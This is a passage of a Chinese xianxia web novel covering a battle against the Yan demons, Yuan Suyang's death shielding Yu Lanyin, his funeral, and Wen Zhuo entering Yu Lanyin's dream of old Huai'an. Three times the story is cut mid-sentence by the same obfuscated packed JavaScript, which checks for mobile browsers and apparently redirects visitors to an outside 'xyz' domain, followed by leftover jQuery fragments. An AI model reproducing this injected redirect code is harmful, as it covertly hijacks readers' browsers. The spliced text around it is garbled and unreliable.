各宗门的术修长老也不忸怩,当即便收了灵力,几个大撤步便往帐篷里退。 “药术师负责疗伤!各位!休整结束,速来迎战!” 芳闻出现的瞬间,一阵夺目的银光爆裂一般炸起。 元宿央高高的马尾随风飘荡,他的脸上同样是有密密麻麻的口子,眼眸明亮且坚定,挥斥方遒。 术修撤去灵力后,厌族的攻势再也压制不住,猛地反扑。 无数低阶、中阶厌族如同影子一般随着风冲进了人群之中,张着血盆大口,所过之处皆带来一片伤痕累累。 最前端的几名修士首当其冲,直接被厌族卷得脚下趔趄摔下了山崖。 剑修一剑能斩方圆百里低阶厌族,立刻顶上了撤去的术修之位。 温卓作为术修此时却半步不退,元宿央明白他的意思,也不再劝。 他只在在呼啸的风中一回眸,露出了一个温卓从没见过的灿烂又嚣张的笑容。 “喂,温卓,你可千万别死了啊。我们——”话音未落,他猛地转过头,已经如同离弦的箭一般冲入战场,“活着见。” 温卓冷笑一声。 ……这人,真是……装得哪门子帅。 不过想归想。 他手上动作不停,立刻现了寒铁弓,没有半分犹豫地上了灵力箭,拉弓—— “咻——” 万箭齐发。 对面迎面的厌族哀嚎着,汽化蒸发了一般,直接被这铺天盖地的暗红色灵力轰得消失殆尽。 厌族速度迅猛,数量奇多。 没等剑修长老松一口气,更猛烈的攻势已经再次袭来。 裂缝之中涌进的厌族中开始混进了不少更高阶的厌族,他们长手长脚,虽然黑咕隆咚长着血盆大口,但隐约有了人形。 他们不像低阶厌族一样只会横冲直撞,灵智更高,厌族灵气也更为强劲,侵略性极强,直接落了地同仙门修士缠斗起来! 仙门百家,修士万千,可他们是人,不是神。双拳难敌四手,身上挂彩已经是最好的情况。 他们之中,不少人断了胳膊断了脚,混乱之中还要捡起飞得无处寻的胳膊和腿,盼着战后找药术师给他们接上。 更多时候,他们身首异处,倒下,再也见不到下一个天明。 死了一个,身后立刻就有一个人补上。 死了一片,身后立刻就有一片人补上。 一层层人浪,前赴后继。 没有人回头,没有人嘘寒问暖。 只有一座人心与血肉筑城的,坚不可摧的城墙。 “上仙大人……” 帐篷内,秋风伏在玉阑音的床榻旁,轻轻摇着玉阑音,唤道。 驻扎所内,术修尽数撤了进来,但出乎意料地很安静。 各宗门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686280|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药术师相对而言法力更强,此时的状态比战术师们好一些,休息片刻便着手开始替劳累的、受伤的各修士疗伤。 今时不同往日,术修们听见云州上仙玉阑音居然在此处,都已经分不出闲暇时间兴奋和惊讶了,简单瞻仰了一番床榻上的睡美人玉阑音,很快便散开了。 于是,甚至没有人注意到床榻旁不知何时多出来的一个穿着诡异,带着斗笠的神秘的小个子。 玉阑音脸上已经不见人色,如同被抽空了鲜血的干尸一样干瘪,毫无生气。 秋风摇了摇玉阑音,见他没反应,心里直打鼓。 就在他想要收回手的那个瞬间,床榻之人枯瘦的一双手忽然紧紧地桎梏住了秋风的手腕。 “是谁?” 玉阑音的声音很轻,嘶哑无比。 虽然状态极差,但他的手劲依旧不是闹着玩的,给斗笠下的秋风疼得好一阵呲牙咧嘴。 “上仙大人,是我啊,艾昂里……秋风,秋风。” 秋风嘶嘶哈哈,一边稀里糊涂地自报家门。 床上那人似乎是不舒服地很,思绪也滞涩了些。他手劲不减一分,抓着秋风好一会儿,直到秋风疼得受不了了才陡然松开了手。 “哦,秋风啊,抱歉,我刚才……” 玉阑音面露痛苦之色,再说不下去了,只半倚在床头低低地喘着气。 秋风顾不上自己手疼了,急急忙忙粗略揉了两把。 “我知道的,上仙大人,您别说话了,快休息一会儿吧。” 轰隆的震颤中,玉阑音倦怠地一抬眼,笑容浅淡又苍白。 “此处正值战火前线,秋风此次前来是为何?” 秋风不好意思地一笑。 “上仙大人,你也知道我们记者,说难听了就是个扫把星,此地正处西南,我就又被派来了……” 床榻之上的玉阑音侧过头轻轻地咳了两声。 他十分温和却坚定地摇了摇头,“不是扫把星,不准这么说。” 驻扎所的术修正在休整,可是外面战斗一刻不停,不时传来兵戈交接之声实在是让疲惫的术修难以心安理得地坐下去。 等到玉阑音终于转过头四下看时,帐篷里的术修大多已经重新回到了战斗前线去了。 温卓此时正在与一个同人族长得极为相似的雄性厌族近身搏斗。 那厌族的动作极为迅猛,脸上生着厚厚的鳞片,手脚细长,指甲极为尖锐。 他的身上不断地渗出着粘液,温卓只是略一疏忽,便被这粘液灼烧得掉了一层皮,半条左胳膊滴滴答答淌起血,染红了寒铁弓。 这厌族嘶哑地吼叫着,温卓的头突突得疼,恼人得紧。 他抽出一只手,按了按紧绷的太阳穴。 说时迟那时快,对面的厌族再一次捕捉到了温卓的走神。 他右手变爪,猛地朝温卓袭来。 陡然接近的利爪,温卓下意识向后一偏,瞳孔紧缩—— 遭了,躲不开了。 可是就在这时,铺天盖地的血腥气之中,忽然一阵极淡的苦涩药香逆着风雨,扑面而来,撒了温卓满袖满裳。 一只极为瘦弱的手以极为柔软地推挡姿势拦下了这致命的一击。 温卓的后背猛地靠上了身后那人的胸膛。 那人似乎是笑了,身后的胸膛深处传来隐晦又沉闷的震颤。 “我来了。到我身后去。” 75.断剑 天已经蒙蒙亮了。 他们面前的天空被撕碎,不见日月。 身后,峰峦叠嶂的群山之上,黎明与天光交接,呈现出荡漾又温润的清晨的层析。 玉阑音在这迷蒙的暗光下,有种说不出的清高与神圣。 在随风肆意翻飞的披风之下,他纤细的腰间罕见地挂着个配饰样的东西,海螺模样,巴掌大小,此时正莹莹地发着银光。 “克古鲁,你来一下。” 器阁内,玉阑音朝正在专心致志研究锻造器的克古鲁招了招手。 “哦!来了!” 克古鲁对玉阑音那可谓是言听计从,扔了手里的东西屁颠颠跑来了,“怎么了,药郎先生?” 玉阑音手上拿着一个海螺似的小物件。 见克古鲁过来了,他扬了扬手,“这灵埙器阁统共有几个?” “哦这个啊,”克古鲁道,“小玩意儿,不难造,器阁库里便没存多余的,就您手里这独一个。 “药郎先生,您这是要拿个去用?” “嗯。灵埙主活络,主周转,能为我内化灵气所用。” 玉阑音笑着把灵埙放了回去,“原本想着若是有多余的便借一个的,没有就算了。” 克古鲁忙不失迭地凑了过去,“哎哎哎!药郎先生此言差矣!” 他赶忙道:“您这要用也不早说,我现在现给您打个新的去,保准比这个更好!内化灵气用,是吧?您稍微等我一下,我马上来!” 玉阑音甚至没来得及说别麻烦,克古鲁已经抱着材料脚底下抹油地跑进了锻造室。 看着克古鲁耗子似的背影,玉阑音无奈地一个叹息。 不过克古鲁倒是真没叫他等太久。 没出半个时辰,随着锻造室内“砰”的一声巨响,克古鲁怀里捧着个新灵埙灰头土脸地光荣回归。 “药郎先生!” 他颠颠地凑到玉阑音面前,往前一送,“这新灵埙我特意给您调了,保准您内化灵力用得服服帖帖的!哪怕是回札布萨那种灵气稀薄的地儿都没事!” 玉阑音道一声谢,接过了灵埙,三两下挂在了腰间。 此时,配在腰带之上的灵埙正随风晃荡着。 随着玉阑音心念一动,猛地迸发出一阵夺目的光辉。 他右手二指并指,指尖处灵力流转,一个约莫两寸左右的小小的银光刀朝面前那厌族射来。 直入眉心。 眉心处,银光一闪。那鬼怪似的厌族甚至来不及呜咽,便如吹满了的气球一般爆裂,化成了漫天血雾消失不见。 玉阑音甚至有闲暇时间给二人笼了个结界,挡住了腥臭的厌族血。 他眉目如画,可是却丝毫不显女气,英俊又果敢,任谁见了此时的他都得赞叹说一句少年绝色。 温卓时常觉得玉阑音这人不似人间物。 他总认为,玉阑音这病弱的躯壳只不过是一副盛着他本体的壳子。 其内的魂灵是何等的光风霁月,是何等的风光肆意,却都因为这外头壳子的牵累现不出分毫。 于是无数个细碎的瞬间,只要那躯壳的壳松懈一分,只要那骄傲的仙人之姿露出一分,都能让所有人为之臣服。 此时便是如此。 温卓看着这般的玉阑音,身上已经是止不住的颤栗。 他并不打算违背自己的内心,直接揪着玉阑音的前襟,逼得他紧紧贴近自己。 温卓的唇干枯开裂,脸上的伤口密密麻麻,一个凶狠也不带任何情欲的吻结束。 “你来做什么!你疯了吗!” 玉阑音挣脱未果,只好就着这个姿势又亲了亲温卓。 “放心吧,找克古鲁借了个法器。你看。” 他说着,撩开披风给温卓看了看他腰间挂着的灵埙。 随后又是一笑,尽管他眼眉是掩盖不住的疲惫,面色也白得像纸,“而且……刚才我若不来,怕不是得抱着你哭去了?” 温卓紧紧抿着唇,不发一言。 “放心吧,我有数,”于是玉阑音只好又亲了亲他,“既然我来了,你就负责……在我身后躲好吧,负责看你亲爱的师尊,大杀四方。” 他说着,往温卓身上眉心一点,替温卓洗净了身上的伤口和脏污,甚至有闲工夫替温卓罩上了一层薄薄的结界。 “别再受伤了,为师会心疼。” 玉阑音这人最擅长逞强和刚愎自用,温卓拗不过他。 他看着玉阑音转身,但一步不敢走远。他紧紧站在身后不远处,厮杀之余分着神时刻盯着玉阑音。 不过,大杀四方这话绝不是玉阑音自吹自擂。 尽管他如今动一下喘三下,进的气不如出的多,但是好在他疼也是疼惯了,费些力气压制下去还是一条好汉。 如今有了灵埙,身上的灵气源源不断,对此,玉阑音欣喜地感叹:好富裕的仗! 他手上灵力凝成的爆破球不要命地扔,徒手劈出两三个气浪能生生压灭几十里的厌族。 几个不要命的人形厌族贱兮兮地搞偷袭,凑得远的被爆成血雾,凑近了的,玉阑音单手虚虚地一握,直接将这厌族捏碎成渣子。 在场所有的剑修、术修齐齐被这接连不断的震爆声惊得停了手。 身后那人的攻势太猛太烈,以至于即便他们停了手后许久,那成群的乌压压的厌族都再没能反扑过来。 “是云州上仙!是太嵇真人!” “太好了!” “云州上仙来了!” …… 玉阑音手上的动作未有减缓,他带着灵力的声音和他凶悍的动作不同,温温和和地传到了每一个角落。 “辛苦各位,玉某荣幸。” 元宿央在人群中愣愣地回头。 战火中衣炔翻飞的玉阑音,他身上说不出的陌生的凌厉和磅礴的冷峻,让元宿央一时看呆了去。 他身上的伤比起温卓有过之而无不及。 鸦色的衣袍破破烂烂,血色在这颜色的衣袍上并不明显,湿哒哒地黏在身上。 他的手上脸上布满细密的血痕,眼角处一道极深的伤口,深得能看到底下的骨头,半张脸都染了血。 但人群的停滞其实也只是一瞬间。 下一刻,他们如同训练有素的士兵一般,迅速调整好了自己身体的姿势,眉间一凛。 或许是因为玉阑音的到来,人群之中隐隐有些躁动。 他们拖着残破不堪的身躯,吹响反攻的号角。 元宿央伤得太严重了,动作和思维都有些迟缓。 他远远地看着白衣胜雪的玉阑音,从一个变成了两个。 他晃晃头,又变成一个。 “噌——” 芳闻划破空气,猛地扎进地里。 元宿央眼前是止不住地眩晕。 他再也站不住了,撑着他的芳闻剑,大口大口地喘息。 玉阑音很快便在人群中注意到了快晕倒了的元宿央。 他神色一变,同温卓交换了一个眼神,脚尖一点,一个移形换影便到了元宿央的面前。 “宿央……” 玉阑音伸出手,想要把明显要失去意识了的元宿央扶起来。 元宿央耳畔嗡嗡作响,双腿也脱了力,此时若不是有剑撑着直接就要跪倒在地。 他感觉得到面前有什么人接近了他。 不过即便此时他的头脑已经如此滞顿,他好像依旧能意识到:哦,应该是太嵇。只有他会来接我。 他别别扭扭抗拒了几百年的责任,如今第一次背上,居然就是在战场之上。 这热血带来的战栗刺激得他兴奋无比。 可是…… 还是有点累的。 他在此处厮杀了太久了。 尽管周围的修士众多,尽管“岂曰无衣,与子同袍”,但一行人身上说不清道不明的背水一战的悲壮还是折磨得他有些孤独。 在疲惫不堪的此时,能见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694836|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个玉阑音…… 元宿央忽然就笑了,他宛如漂泊的旅人终于窥见了避风港一般卸了力。 他同样朝玉阑音伸出了手。 就在这时,身后的一个什么东西,闪电般地极速略过他的耳畔。 敏锐察觉到了的元宿央猛地瞳孔一缩。 因为那快如光刀的厌族,正直直地朝着他面前玉阑音的眉心袭去! 两人的双手刚虚虚地扣在了一起。 玉阑音一眯眼睛,即便是已经极为迅速地抬起了头,那厌族却已经近在咫尺。 千钧一发的生死之际,玉阑音脑中的唯一想法是,不行,宿央还在这里。 他迅速地侧过脸试图躲避这致命的一击,同时想要甩开元宿央的手—— 甩不开。 玉阑音猛地愣住了,他顿顿地朝元宿央看去。 方才完全脱了力的元宿央此时蓦地如猎豹一般跃起,同时拔出了芳闻,以一个极为刁钻的姿势和速度挤进了玉阑音和那厌族之间,随后再将芳闻往后一背。 “锵——” 坚固如芳闻,如此一声,碎了。 玉阑音看着元宿央的脸近在咫尺。 他脸上的血迹大多已经干涸,眼角的伤口露着骨头。 ……没关系的。没关系。 这些都是小伤,他都治得好。 玉阑音颤抖着手,久久地停顿在元宿央的眉心上方,想要触摸,却又迟迟地不敢下手。 因为眉心处,赫然显露的,是一个铜钱大小的血洞。 那厌族看着不大,却不知是何构造,力大无穷,锋利异常。 击碎了昆山玉铁的芳闻之后,又将元宿央的头穿了个对穿。 泰山崩于眼前面不改色的玉阑音,此时堪称惊慌地睁大了双眸。 “宿央!” 温卓被玉阑音如此惊慌失措的声音吓了一跳,以弓作刀劈了一只人形厌族后,迅速转身朝这边看来。 定睛看去——可这一看,叫他连手上的寒铁弓没能拿稳。 “当啷——” 元宿央脱了力,手中的断剑掉到了地上。 他似乎仍然残存着些许意识,抬手,颤抖却依旧无力地攀上了玉阑音的肩膀。 他的脑子里一团浆糊。 嗡嗡嗡,嗡嗡嗡,好吵啊。 好像是有血流进眼睛了,剌得他眼睛也很疼。 糟了…… 看不见,也听不清了…… 迷蒙的血色重影中,他能看见玉阑音抱着他的手很用力,嘴张张合合,好像……是在和他说话。 可他却一个字也听不清了。 远处朝他而来的玄色衣袍那人……好像是温卓。 短短的一瞬间,玉阑音已经往元宿央身上使了十几个疗愈法术。 只可惜,疗愈,疗愈,再怎么神乎其神,也不是起死回生。 玉阑音的手抖得使不出法术,甚至险些要抱不住元宿央。 可是他不敢停下来。 他一遍一遍徒劳地用着大治疗术。 “不许闭眼!宿央!” 元宿央眼前走马灯似的,闪过了好多人,好多事。 不高兴的事情已经记不清了,虚幻的一幕幕里,都是从前真切的幸福。 他一遍一遍地重温。 好热,胸口处仍在吃力跳动的,是一颗比过去每一刻都要滚烫的心。 回忆不断拨动,越来越快,直到他头晕到再也看不清了。 于是那些旧日的画面消失了,最终的最终,滚动的轮轴停摆,永远的定格在了此刻。 定格在了面前,流着泪的玉阑音脸上。 元宿央好想伸出手替他擦一擦眼泪。 只可惜他再也做不到了。 他似乎是用尽了所有力气一般,沉沉地,将头靠近了玉阑音的怀里。 这一次,他没有失去他人生中的第二个朋友。 真是太好了。他想。 76.破镜 玉阑音踉踉跄跄抱着元宿央回了驻扎所。 他感觉他的脚底在飘。 他甚至记不清自己是怎么进来的,不记得他是怎么将元宿央放在了榻上,也不记得自己究竟和惊惧发抖的秋风说了什么。 他只记得说完后,秋风掩面失声痛哭。 哦,他想起来了,他说的好像是,“对不起。” 温卓静静地跟在玉阑音的身后。 他从未见过玉阑音如此失态,如此失魂落魄。 “阑音。”温卓轻声唤了他一声,从识海摸出了一只玉白色的,干净的鸟蛋,往玉阑音面前一递。 “不行么?” 一直僵硬在床榻旁的玉阑音终于动了。 “那是因为栾府上的聚灵阵……宿央他……”他颤抖着握紧双手,垮下了肩膀,摇了摇头,“对不起,我……” 玉阑音的声音哽咽了,再没能说下去。 床榻前跪着的秋风已经哭得没了人形。 即便窗外战斗声依旧在轰鸣,但这撕心裂肺的哭声却依旧如此震耳欲聋。 玉阑音再也忍不住,一只枯槁的手挡住眼睛,轻轻地别过了脸。 “他是为了我……”玉阑音的声线颤抖,“他和我说好了的,这次回去便要长大了,担起责任了,答应拢虚做玄天门宗主,可是我……” 温卓将他搂在了怀里。 “都怪我……”怀中这人十分轻微地啜泣着,“为什么死的不是我啊,温卓,我明明……他……” “嘘……” 温卓轻轻地拍着玉阑音被汗打湿的脊背,“不怪你,阑音,不哭了,不哭了。” 秋风眼睛红得和兔子似的,此时也扭过了头。 “上仙,这不怪你……元兄救您肯定也不是为了要您愧疚的。” “阑音,我的好阑音,不哭了,嗯?” 温卓替他拭去脸上的泪水,“你比我更了解少掌门,阑音。你正是因为他是如此的一个人,才会同他交好,不是吗? “哪怕今天站在那处的不是你,是我,是秋风,是随便任何一个叫不上名字的修士,少掌门都会毫不犹豫地这么做。因为他是他。” 玉阑音久久地沉默着,直到温卓用温和又有力的手抬起了他的脸。 “你要为他骄傲。阑音。” “宿央他……还只是个孩子,走在街上都没几个人能认得他是玄天门少掌门……” 玉阑音卷翘的睫毛上还挂着泪珠,他一眨眼,便扑簌簌地滑了下来,“以后,等我走了……你们一定要记住他,求求你们了……别忘了他。” “别说傻话。” 温卓眉头一蹙,“我们一起,永远记住他。” 秋风一撩衣袖。 他脸上还挂着没擦干的眼泪,要哭不笑地指指他身上的两道青纹,“我不会忘记的,上仙。云州不会忘记他的。” 良久,玉阑音才终于舍得将目光从秋风胳膊上挪开。 他朝秋风一笑,苍白又寡淡,“谢谢,秋风。我很高兴。” 驻扎所外。 在场剑修术修的反攻攻势十分凶猛,所有人身上的衣服尽数染成了暗红色,不知疲倦地厮杀,搏斗。 厌族终于难掩颓势,节节败退。 在一种爆破的交战之中,温卓找到了机会,当即运起灵力,直接将那万丈高的裂口拽和。 天地轰隆隆地悍声中,他落了个几千公里的巨大的结界,封印了开裂的天幕。 自此,西南战事告一段落。 但未等简单的修整,众人一刻不停,即刻便前往交战最为频繁,损失最为惨重的南塞战区。 南塞琼州失守,战线撤退至大陆南端。 整个南塞,短短四五日伤亡却极为惨烈,云州仙门百家精英折损过半,并且仍有增加的趋势。 天地间皆是新鲜血液的铁锈味。 走过的路上看不见土地,放眼望去遍地都是三两个一摞的尸体。 以玉阑音和温卓为首的援军来得还算及时,为南塞疲惫的战地大大增加了活力。 苦战三日,南塞一战终于以仙门修士顽强险胜结束。 北塞也在此时传来大捷的消息。 至此,云州终于以巨大的牺牲为代价,获得一夕喘息的时间。 一日后,北晔玄天门灵堂内。 拢虚安静地跪坐在灵堂的蒲团之上,看着棺材内元宿央毫无生机干瘪了的脸发呆。 玉阑音和温卓远远地坐在他的身后。 到场的人还有秦鹤生,善玄,秉文,镜遥,克古鲁,君少暄。 哪怕是放眼望去也不过寥寥几人。 作为玄天门的少掌门,玄天门下修士前来吊唁的人却是屈指可数。其中大半都是十方宗来的老熟人。 “你们说……” 拢虚一夜之间像是苍老了十岁,此刻的嗓音粗粝无比,听上去极为干涸,“他是不是很恨我。” 喃喃自语。 “我对他太严苛了,含着金汤匙出生但是早早没了娘,跟着我没过上一天安稳日子。” 拢虚讷讷道,“如果我没逼他呢……” 他胖胖的脸上满是斑驳的泪痕,“是不是就……” 灵堂之上,没有人再开口说话。 唯余一声呜咽。 这一日,玉阑音执意要为元宿央守灵。 可是就在当晚,入了夜不久,一场突如其来的高热来势汹汹,直接把玉阑音最后一点强撑的精气神夺了个干净。 “哐当”一声,晕了过去。 玉阑音的身上烫得灼人,简直是要不像人的体温。 温卓抱他回了客房,替他去了外衣,怕硌得不舒服,又帮他脱下了手腕上的佛珠串,不断地替他更换着额头上的毛巾。 其实玉阑音的病倒并不能算是毫无征兆。 毕竟结界出了这么大的问题,他拖着身体同个宗门长老一同苦战数日,再加上元宿央意外的离世带来的打击,真活蹦乱跳了反而才有鬼。 但是…… 温卓看着床上脸颊烧得通红的玉阑音,一言不发。 他不愿意去想一些事。 但是这些事情却总是如影随形地缠着他。 温卓顺手把玩着玉阑音的那串佛珠。 他记得玉阑音说,这串佛珠是求的平安,栾恪云也说,这上面佛光流转,像是有大机缘。 这话是这佛珠去寺庙里开过光了的意思? 温卓两指拎着这串佛珠,不置可否。 即便是开了光……看上去也还是没能保他平安。一点也不灵。 不过……信则有不信则无。 正巧,善玄来探望玉阑音。 温卓留下了句“师兄你在这里替我一下,我去去就来”,匆匆出了门。 天刚蒙蒙亮。 “施主此次前来,便是要为这串佛珠开光?” 寺庙内,住持一手置于胸前,另一只手从温卓手中尊敬地接过了佛珠。 温卓不信天命,不信佛,其实也看不太惯寺庙里的这些光头秃驴。 他冷着脸,“嗯。” 住持搓了搓手中的佛珠,细细看来。 许久,他才抬头笑道:“这位施主,若是贫僧没有走眼,这串佛珠,似乎早已开光多次了。” 开光多次了? 温卓狐疑地看看住持,心说:我才不着你的道。 他道,“哦,那就再开一次吧。” 住持笑了起来,“开光一事只在有无,不在多少。” “不过……施主心有牵挂,心有所急,”住持一鞠躬,笑道,“图个心安也是好的。” 温卓听他在这儿打太极,听得头一阵嗡嗡。 但是他一贯是温和有礼,面上不显,甚至是颇为客客气气地双手合十一鞠躬,“麻烦大师了。” 住持同样还以一礼,“请施主在此落座稍等。” 和尚诵经开光是个大工程。 温卓自认为自己是个有耐心的人,可他耐着性子在殿外喝了三壶茶,那住持愣是没有回来的意思。 寺庙外日头已经挂在了正南方。 心下牵挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710810|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉阑音,温卓不由得有些心焦。 等天等地,离去多时的住持终于带着佛珠平安归来了。 “施主……” 住持还没说完话,温卓已经瞬移似地“噌”地到了他脸前,“谢大师。” 宛如一阵风略过。 等到住持回过神来,温卓已经泥鳅似地消失在了门口。 住持独自一人站在屋内,这才讷讷地补全了未说完的话:“……您的佛珠。” 出了寺庙,温卓一刻也不想浪费在路上,一个精准无比的缩地千里,直接缩回了玄天门的客房内。 善玄这人心大如斗,刚给玉阑音换了毛巾,闲来无事便趴在床榻前头打起盹来。 身后,鬼似的凭空出现的温卓直接把他吓得冷汗涔涔脏话连连。 骂着骂着,善玄看到了温卓手里的佛珠串,愣住了。 他疑惑地“咦”了一声:“师弟,你手里拿着的是师尊的那串佛珠吗?” 温卓草草地瞥他一眼,点点头。 随后他上前摸摸玉阑音的脸,玉阑音的手。 还是滚烫一片,毫无退烧的迹象。 “师弟啊,你这是去哪了?身上这么大的……”善玄吸吸鼻子,“香火味儿。” 温卓心下只忙着担忧玉阑音,头都没抬,“梵禅寺。” “啊?梵禅寺?” 善玄听得一愣,“那岂不是出了玉门关了?到那么远的寺庙做什么?” 温卓道:“听说梵禅寺比中原寺庙灵一些,祈福去了。” 善玄笑了,“去梵禅寺拜的什么野神呢。堂堂云州上仙这不就在眼前么,朝着师尊拜两下,比什么都管用。” 似乎是见温卓的脸色不太好看,过了好一会儿,善玄终于叹了口气。 他轻拍温卓的肩,“师弟,知道你很着急,但是……不瞒你说,我有一个好消息和一个坏消息,你想先听哪个?” 温卓被他挂名师兄老套的话术惊得一时无言。 偏偏善玄还催了两声,“选啊,快。” 温卓:“好消息。” 善玄:“不行,你得先听坏消息。” 温卓:“行,那我选坏消息。” 善玄:“嘿嘿。这个坏消息呢……就是,我们敬爱的师尊,兼你敬爱的未来道侣,一时半会是醒不过来了。” 温卓揉揉眉心,“好消息呢?” “年轻人,着急什么,我正要讲了。” 善玄老神在在摇摇头,“这好消息就是,我刚和掌门又仔细检查了师尊的身体,结果发现,师尊这次的病发居然并不是因为结界受损——呃,不单纯是——更多是因为……” 善玄期待地朝温卓一看。 温卓:“……” 他对于善玄这故弄玄虚的作态嗤之以鼻。 但事关玉阑音,他还是好脾气地装模作样问道,“因为什么?” 善玄肉眼可见地开心了,“心魔。师尊此般更多是因为心魔,这是被魇住了。” “心魔?”温卓一愣,“阑音有心魔?” “嗯?师弟你这话说得可真没水平。” 善玄敲了温卓一个脑瓜崩,“是人都有心魔的,你和我也都有,师尊也不例外。” 温卓没理会善玄的揶揄,“那该如何除去心魔?” “师弟,你看你这话又很没水平……”善玄刚要开始吟唱。 温卓连忙做了个打住的手势。 他重新问道:“那该如何叫阑音醒过来?” “嗯,不错,这话就问得很有水平。” 善玄乐呵呵从怀里掏出了个铜钱似的小玩意儿,“带上‘破镜’,入梦,把师尊抓出来咯。” 他咳了两声,清了清嗓子,故作深沉道:“不过我这人,就是懂事,就是有眼力见,这思来想去,还是决定让你去比较合适。 “哎呀,师徒百年,终究还是比不过你这明媒正娶的小妖精……啧啧啧啧。” 说着,善玄将破镜往温卓那处一扔,伴着一声轻笑。 “快去吧。师尊等你很久了。” 77.入梦 破镜比铜钱大不了多少,但是落到手里沉甸甸的。 温卓掂了掂,问道:“如何用?” 话音刚落,善玄嘴里忽然叽里咕噜说了一串陌生的语言。 在温卓疑惑的目光下,他解释道:“拿着‘破镜’,念一遍这一串符文就能入梦了。不过……” 善玄面上正色了几分:“观测,而不改变。不必我再多说,你应该明白这个道理。” 温卓一颔首。 “另外,以‘破镜’为标志,切忌迷失在梦里。” 善玄同温卓目光短暂交接,微微一笑,“祝凯旋。” 事不宜迟,温卓手握破镜,一垂眸,开始低声诵读咒语符文。 善玄远远地欣慰地看着:嗯,不愧是我师弟,这咒语,我念一遍他就记住了,瞧瞧,瞧瞧。 咒语刚念至一半,破镜便莹莹地发起了光。 随着咒语地继续,破镜的光越来越强烈,直到那白光灼人至极,他来不及细看,便觉得自己脚下一空,一阵天旋地转,在猛然袭来的眩晕之中失去了意识。 这空荡的漂流感不知持续了多久,直到温卓迷迷糊糊中感觉到自己来到了别处。 失重感随之而来,他摔在树枝桠上,噼里啪啦从上摔到下,重重地摔在地上。 这阵疼痛迫使温卓睁开了眼,可他来不及顾及自己崴伤的腿,迅速地往四周看去。 四周入目的风景陌生至极。 南泽水乡,杨柳清风,青瓦白墙,水道木舟。天上飘着毛毛细雨,路上行人稀少,只有石桥旁有几个围着头巾的姑娘在卖枇杷,不知在说什么闲话,乐得咯咯直笑。 不远处,城门牌匾上刻着的文字是早年间云州统一使用的古体字,比他们使用的简字繁琐得多。 好在温卓在玉阑音那处耳濡目染多年,居然还真对这有些了解。 他眯了眯眼睛,又往城墙下走了几步,这才看清那牌匾,牌匾之上刻的字样是—— 温卓逐字辨认过去,等辨认完全,自己先是愣住了。 桥下买枇杷的姑娘见这漂亮的小伙子在这儿转悠了好久,咯咯笑着唤道:“侬个后生仔!在这走走走做什么的呀?找人着莫?” 姑娘们的方言和玉阑音常说话时带着的尾音极为相似,但是口音更重,说得又快,温卓几乎是完全听不懂。 他连蒙带猜,慢半拍地拱了拱手道:“请问各位姑娘,这里是槐安城吗?” 温卓说话很规矩,也很文绉。 他走近桥洞下,虽然一身肃杀的玄色衣袍,但莫名像个不谙世事的书生。 为首的粉头巾姑娘上打量着温卓的一袭素单衣,心想:呀,原来是个家里没得钱的读书仔。 她连忙往温卓手里塞枇杷,一边道:“啊呀,侬伐晓得嘞?是的呀,槐安呀,这里是槐安。” 温卓就这么莫名其妙收下了一兜枇杷。 槐安。 果然是槐安城。 而且是……一千年前的槐安。 是阑音的故乡。 温卓记得玉阑音说过,他小时候家里挺富贵,锦衣玉食也不缺吃少穿。 或许那是个大家庭,这些寻常百姓听说过也说不定。 于是温卓礼礼貌貌道了谢,又拱了拱手,问道:“请问各位姑娘有没有听说过,槐安有姓玉的一户人家?” “玉?余?哪个于?” 这几个姑娘其实听温卓说话也听得稀里糊涂,她们听得一愣,随后先是七嘴八舌地讨论了起来。 温卓身材修长,宽肩窄臀,他看上去并不着急,只垂着手站一边静静地等。 他气度不凡,哪怕只是随便一站就自有一番风度,如朗松劲柏,挺拔得很。 “哦!姓玉的!我晓得啦!”忽然一个系着蓝丝巾的姑娘一拍额头,“那个,西南面,玉召秋!玉召秋那人家!不是姓玉的莫!侬晓得了哇?” 一群人顿时如梦初醒,“害呀!脑袋昏头咯!是他啦,玉!玉召秋!” 温卓仔细地辨认她们话里的人名,“玉召秋?” “对对,玉召秋,他们家男主头。”粉头巾姑娘连忙道,“在最西南头,侬一直走,一直走是那。” 温卓一拱手,道了谢。 就在即将准备离开的时候,他忽然像是想到了什么,转身问道:“那请问,姑娘们有没有听说过他们家里有个叫玉阑音的?年纪……应该不大,可能是家里的小孩。” 这问题一出,买枇杷的姑娘们又发了愁。 “玉阑音?” “嘶,我只晓得那家好像有个小子叫那个……玉怀筝?玉召秋常领在手边的那个莫。” “伐晓得这个玉阑音嘞……” …… 对于“玉阑音”是有还是无,一群人叽叽喳喳讨论了半天也没说出个四五六,温卓越听唇角抿得越紧。 